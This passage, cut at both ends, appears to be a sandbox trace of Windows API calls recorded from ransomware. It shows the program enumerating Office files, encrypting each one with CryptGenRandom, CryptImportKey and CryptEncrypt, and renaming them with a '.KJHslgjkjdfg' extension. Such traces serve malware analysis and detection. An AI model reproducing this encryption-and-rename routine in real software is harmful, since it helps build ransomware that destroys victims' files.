out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefb0*=0x40000, lpOverlapped=0x0) returned 1 [0168.896] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x19a4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.896] WriteFile (in: hFile=0x114, lpBuffer=0x4dfefb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefb0, lpOverlapped=0x0 | out: lpBuffer=0x4dfefb8*, lpNumberOfBytesWritten=0x4dfefb0*=0x8, lpOverlapped=0x0) returned 1 [0168.896] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x15a400, lpNewFilePointer=0x0, dwMoveMethod=0x4dfefb8 | out: lpNewFilePointer=0x0) returned 1 [0168.896] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dfefac, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfefac*=0x40000, lpOverlapped=0x0) returned 1 [0168.904] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefb4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefb4*=0x40000) returned 1 [0168.908] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x15a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.908] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dfefb0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefb0*=0x40000, lpOverlapped=0x0) returned 1 [0168.909] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x19a4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.909] WriteFile (in: hFile=0x114, lpBuffer=0x4dfefb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefb0, lpOverlapped=0x0 | out: lpBuffer=0x4dfefb8*, lpNumberOfBytesWritten=0x4dfefb0*=0x8, lpOverlapped=0x0) returned 1 [0168.910] CryptDestroyKey (hKey=0x2f18308) returned 1 [0168.910] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x19a4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.910] SetEndOfFile (hFile=0x114) returned 1 [0168.913] GetProcessHeap () returned 0x2ef0000 [0168.913] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0168.913] GetProcessHeap () returned 0x2ef0000 [0168.913] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0168.913] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.kjhslgjkjdfg")) returned 1 [0168.950] CloseHandle (hObject=0x114) returned 1 [0168.950] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1 [0168.950] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0168.950] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="MSOINT~1.IDX")) returned 1 [0168.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0168.951] GetProcessHeap () returned 0x2ef0000 [0168.951] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0168.951] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0168.951] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0168.951] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0168.951] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0168.951] GetProcessHeap () returned 0x2ef0000 [0168.951] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x50) returned 0x2f15340 [0168.951] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f15340*, pdwDataLen=0x4dfefd0*=0x50, dwBufLen=0x50 | out: pbData=0x2f15340*, pdwDataLen=0x4dfefd0*=0x50) returned 1 [0168.951] CryptDestroyKey (hKey=0x2f18308) returned 1 [0168.951] WriteFile (in: hFile=0x114, lpBuffer=0x2f15340*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f15340*, lpNumberOfBytesWritten=0x4dfefe8*=0x50, lpOverlapped=0x0) returned 1 [0168.953] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0168.954] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0168.954] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0168.954] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0168.954] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0168.954] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0168.954] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0168.954] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.954] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd980, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xd980, lpOverlapped=0x0) returned 1 [0168.958] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xd980, dwBufLen=0xd980 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xd980) returned 1 [0168.958] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.958] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd980, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xd980, lpOverlapped=0x0) returned 1 [0168.959] CryptDestroyKey (hKey=0x2f18308) returned 1 [0168.959] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xda64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.959] SetEndOfFile (hFile=0x114) returned 1 [0168.962] GetProcessHeap () returned 0x2ef0000 [0168.962] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f15340 | out: hHeap=0x2ef0000) returned 1 [0168.962] GetProcessHeap () returned 0x2ef0000 [0168.962] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0168.963] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.kjhslgjkjdfg")) returned 1 [0168.963] CloseHandle (hObject=0x114) returned 1 [0168.963] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="MSOINT~2.IDX")) returned 1 [0168.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0168.967] GetProcessHeap () returned 0x2ef0000 [0168.967] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0168.968] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0168.968] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0168.968] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0168.968] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0168.968] GetProcessHeap () returned 0x2ef0000 [0168.968] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x50) returned 0x2f15340 [0168.968] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f15340*, pdwDataLen=0x4dfefd0*=0x50, dwBufLen=0x50 | out: pbData=0x2f15340*, pdwDataLen=0x4dfefd0*=0x50) returned 1 [0168.968] CryptDestroyKey (hKey=0x2f18308) returned 1 [0168.968] WriteFile (in: hFile=0x114, lpBuffer=0x2f15340*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f15340*, lpNumberOfBytesWritten=0x4dfefe8*=0x50, lpOverlapped=0x0) returned 1 [0168.973] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0168.973] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0168.973] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0168.974] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0168.974] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0168.974] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0168.974] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0168.974] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.974] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x100000, lpOverlapped=0x0) returned 1 [0169.024] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x100000, dwBufLen=0x100000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x100000) returned 1 [0169.051] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.051] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x100000, lpOverlapped=0x0) returned 1 [0169.055] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x153064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.055] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0169.056] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.056] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x52f80, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x52f80, lpOverlapped=0x0) returned 1 [0169.067] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x52f80, dwBufLen=0x52f80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x52f80) returned 1 [0169.071] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.071] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x52f80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x52f80, lpOverlapped=0x0) returned 1 [0169.072] CryptDestroyKey (hKey=0x2f18308) returned 1 [0169.072] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x153064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.072] SetEndOfFile (hFile=0x114) returned 1 [0169.075] GetProcessHeap () returned 0x2ef0000 [0169.075] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f15340 | out: hHeap=0x2ef0000) returned 1 [0169.075] GetProcessHeap () returned 0x2ef0000 [0169.075] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0169.075] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.kjhslgjkjdfg")) returned 1 [0169.110] CloseHandle (hObject=0x114) returned 1 [0169.110] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1 [0169.110] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1 [0169.110] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="README.HTM", cAlternateFileName="")) returned 1 [0169.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0169.113] GetProcessHeap () returned 0x2ef0000 [0169.114] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0169.114] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0169.114] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0169.114] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xb, lpOverlapped=0x0) returned 1 [0169.117] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0169.117] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.117] GetProcessHeap () returned 0x2ef0000 [0169.117] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0169.117] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0169.117] CryptDestroyKey (hKey=0x2f18308) returned 1 [0169.117] WriteFile (in: hFile=0x114, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0169.117] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0169.117] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0169.117] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0169.118] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0169.118] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0169.118] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0169.118] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.118] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.118] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x795, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x795, lpOverlapped=0x0) returned 1 [0169.118] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x7a0, dwBufLen=0x7a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x7a0) returned 1 [0169.118] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.118] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x7a0, lpOverlapped=0x0) returned 1 [0169.118] CryptDestroyKey (hKey=0x2f18308) returned 1 [0169.118] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.118] SetEndOfFile (hFile=0x114) returned 1 [0169.121] GetProcessHeap () returned 0x2ef0000 [0169.121] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0169.121] GetProcessHeap () returned 0x2ef0000 [0169.121] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0169.121] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.kjhslgjkjdfg")) returned 1 [0169.122] CloseHandle (hObject=0x114) returned 1 [0169.122] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x2e0000, 